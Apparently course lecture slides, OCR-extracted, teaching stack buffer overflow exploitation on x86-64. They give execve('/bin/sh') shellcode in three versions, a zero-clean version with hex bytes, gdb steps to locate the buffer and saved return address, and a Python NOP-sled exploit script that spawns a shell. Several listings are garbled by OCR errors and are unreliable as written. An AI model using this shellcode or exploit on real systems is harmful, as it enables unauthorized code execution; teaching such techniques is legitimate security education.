Payloads

* The classic attack when exploiting an
overflow is to inject a payload

— Sometimes called shellcode, since it often
launches a (privileged) shell

— But it does not have to!

* We will be writing our own payloads
— Metasploit et al. is not allowed
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Writing Payloads

 What payload to inject?

— We will start by writing a classic shellcode for an
example vulnerable program

 Where is the payload located in memory?
— We will place our payload in the stack
— Requires that the stack is executable

* Where to place our payload address?
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Shellcode

void launch _shell(void) {

char path[] = "/bin/sh";

char * argv[] = {path, NULL, };
char * envp[] = {NULL, };
execve(path, argv, envp);

* We use the execve syscall directly to bypass libc
— system, execl, etc, are all wrappers of execve

* Let’s compile this and check out the assembly
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Shellcode (Take 1)

text mov rdx, qword ptr [rbp - 48]
launch_shell: mov qword ptr [rbp - 64], rax
push rbp mov _agword ptr [rbp - 72], rcx
sub rsp, 80 oV a1, qwora ptr [rbp - 72]
lea rax, qword ptr [rbp - 40] mov rsi, qword ptr [rbp - 56]
lea rsi, qword ptr [rbp - 32] mov rdx, qword ptr [rbp - 64]
lea rcx, qword ptr [rbp - 8] =¥ .
movabs rdi, 8 mov dword ptr [rbp - 76], eax
mov 18, qword ptr [.Llaunch_shell.path] add rsp, 80
mov qword ptr [rbp - 8], r8 pop rbp
mov qword ptr [rbp - 32], rcx ret
mov qword ptr [rbp - 24], 0
mov 18, rax .section rodata.strl.1,"aMS",@progbits,1
mov qword ptr [rbp - 48], rdi .Llaunch_shell.path:
mov rdi, r8 .asciz "/bin/sh"
mov qword ptr [rbp - 56], rsi .size .Llaunch_shell.path, 8
mov esi, edx

100



Shellcode Analysis

* The previous listing is mostly what we want, but it
has a few problems

— It references “/bin/sh” at a location in the data segment
— It calls the 1ibc functions memset and execve
— Itis big

 We want to be as self-contained and position-
independent as possible

— Maybe we can assume libc is available and code/data is
deterministically laid out, maybe not

* Bloated code works against us

— We might only have a small buffer to work with

— We might need to place many copies of the payload, or
pad it out with a NOP sled (more on that later)
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Shellcode (Take 2)

launch_shell:
movabs rax, 0x68732f6e69622f ; /bin/sh

mov gword [rsp+0x20], rax ; put /bin/sh on the stack
lea rdi, [rsp+0x20] ; get a pointer to /bin/sh
mov gword [rsp+0x10], rdi ; put argv[@] on the stack
mov gword [rsp+0x18], Ox0 ; terminate argv

mov gword [rsp+0x8], ©x0 ; terminate env;

lea rsi, [rsp+0x10] ; get pointer to argv

lea rdx, [rsp+0x8] ; get pointer to envp

mov rax, 59 ; execve is syscall 59
syscall ; execve(rdi, rsi, rdx)

e This is closer to what we want

— Itis much smaller (69 bytes), and “/bin/sh” has been inlined as a constant
* But, there is still a problem

— Remember, the overflow is performed with a strcpy
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Shellcode Disassembly

81EC00016000
48B82F62696E2F73
-6800

4889442420
488D7C2420
48897C2410
48C7442418000000
-00
48C7442408000000
-00

488D742410
488D542408
48C7CO3B0O0OOOO
OF05

sub
mov

mov
lea
mov
mov

mov
lea

lea
mov

esp,9x100
rax,o0x68732f6e69622f

[rSp+0x20], rax
rdi, [rsp+0x20]
[rsp+0x10],rdi
gword [rsp+0x18],0x0

gword [rsp+0x8],0x0

rsi,[rsp+0x10]
rdx, [rsp+0x8]
rax,0x3b

syscall
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Zero-Clean Shellcode

 Qur shellcode is full of zeroes!

— strcpy stops copying when it has reached the end of
the input string (our payload)

— Strings are null-terminated in C
* Creating “zero-clean” shellcode is a common
requirement

— Whenever your payload is processed by a string
operation

— String operation doesn’t necessarily have to be the
final overflow

— Special case of the more general payload
transformation problem
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Shellcode (Take 3)

launch_shell:

sub
xor
mov
mov
mov
mov
lea
mov
mov
mov
lea
lea
mov
mov

rsp, byte 0x70

rcx, rcx

rdx, rcx

gword [rsp+0x28], rdx
rdx, Ox68732f6e69622f2f
gword [rsp+0x20], rdx
rdi, [rsp+0x20]

gword [rsp+0x10], rdi
gword [rsp+0x18], rcx
gword [rsp+0x8], rcx
rsi, [rsp+0x10]

rdx, [rsp+0x8]

rax, rcx

al, byte 59

syscall

> ndisasm -b64 payload.bin

83EC70
4831C9
4889CA
4889542428
48BA2F2F62696E2F
-7368
4889542420
488D7C2420
48897C2410
48894C2418
48894(C2408
488D742410
488D542408
4889C8
BO3B

OF05

sub
xor
mov
mov
mov

mov
lea
mov
mov
mov
lea
lea
mov
mov

esp,byte +0x70

rcx, rcx

rdx, rcx

[rsp+0x28], rdx
rdx,0x68732f6e69622f2f

[rsp+0x20], rdx
rdi, [rsp+0x20]
[rsp+0x10], rdi
[rsp+0x18],rcx
[rsp+0x8], rcx
rsi,[rsp+0x10]
rdx, [rsp+0x8]
rax, rcx
al,ox3b

syscall
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Shellcode Analysis

We're now zero-clean, and this will work

— We zero rcx immediately using an xor insn. and
use it to place zeros where necessary

— We avoid zero-padded constants by using
smaller-width instructions

— We also saved 2 bytes (now at 66 bytes)
— This was painful, how can we get around it?
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Payload Decoders

Payload

Enc(k, payload)

Y

Decoding Encoded Payload

Loo
~~ J
Dec(k, enc-payload) :] —>

 What if we re-encode the payload with a fresh key on
each use?

— Polymorphic shellcode, useful for signature evasion
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Locating the Shellcode

* Now we have shellcode, but where do we put
it and how do we find it again?

* Where will we put the payload?
— Since the stack is executable put it there.
— What else is on the stack?
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Stack Layout

Controlled
by local user

envp

argv

Stack Frame
(main)
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Locating the Shellcode

* In our case, we could go for either the frame
copy, or the original argument copy

— What problem could we run into if we use the
frame buffer copy?

— Let’s do the latter for this exploit

* How to find the address of the argument
buffer?

— We'll run the attack and use gdb to inspect the
process
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Locating the Shellcode (Buffer)

> gdb --args ./vuln aaaaa....

(gdb) b main

Breakpoint 1 at 0x40055e: file vuln.c, line 3.
(gdb) r

Starting program: ./vuln aaaaaa....

Breakpoint 1, main (argc=2, argv=ex7fffffffe6c8) at vuln.c:3
3 strcpy(buf, argv[l]);

(gdb) si

(gdb)

0x0000000000400410 in strcpy@plt ()

(gdb) finish

Run till exit from #0 0x0000000000400410 in strcpy@plt ()
(gdb) p/x $rax

$1 = ox7fffffffedeo

(gdb)
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Locating the Saved IP

(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400546 <+0>: push  rbp

(gdb) r
Starting program:

Breakpoint 1, main (argc=32767, argv=ex7fffffffe638) at vuln.c:1

(gdb) p/x $rsp
$1 = ox7fffffffeS5e8
(gdb) p/x Ox7fffffffe5e8 - ox7fffffffede0

$2 = ox1e08

The difference between the saved IP and the buffer address gives us
the maximum size of our input before we control the saved IP

In this case 0x108 bytes
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Constructing an Exploit Input

input
A

- N

vuln(input)

Frame copy argv copy
e e
- i * -
—~—
Stack
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NOP Sleds

* Input consists of a NOP sled, the payload, and
the address of the argv copy of our payload

* NOP sleds are used to pad out exploits

— Instruction sequences that don’t affect proper
execution of the attack

— x86 No-op instruction (0x90) is only one example
* Why are they called sleds?

— Execution slides down on the NOPs into the payload

— [f we don’t jump to exactly the beginning of the
payload, the nop sled will get us there safely
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Constructing an Exploit Input

#!/usr/bin/env python
import sys, struct

buf len = 0x108
ret _addr = Ox7fffffffeaeo
payload = open("payload.bin").read()
buf = ('\x90' * (buf len - len(payload))) \
+ payload + struct.pack('<Q', ret addr)

sys.stdout.write(buf)
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Finally

> env - gdb --args ./vuln $(./exploit.py)

(gdb) r

Starting program:

pPr?[...]

process 24344 is executing new program:
/bin/dash

$ id

uid=1000(pizzaman) gid=1000(pizzaman)
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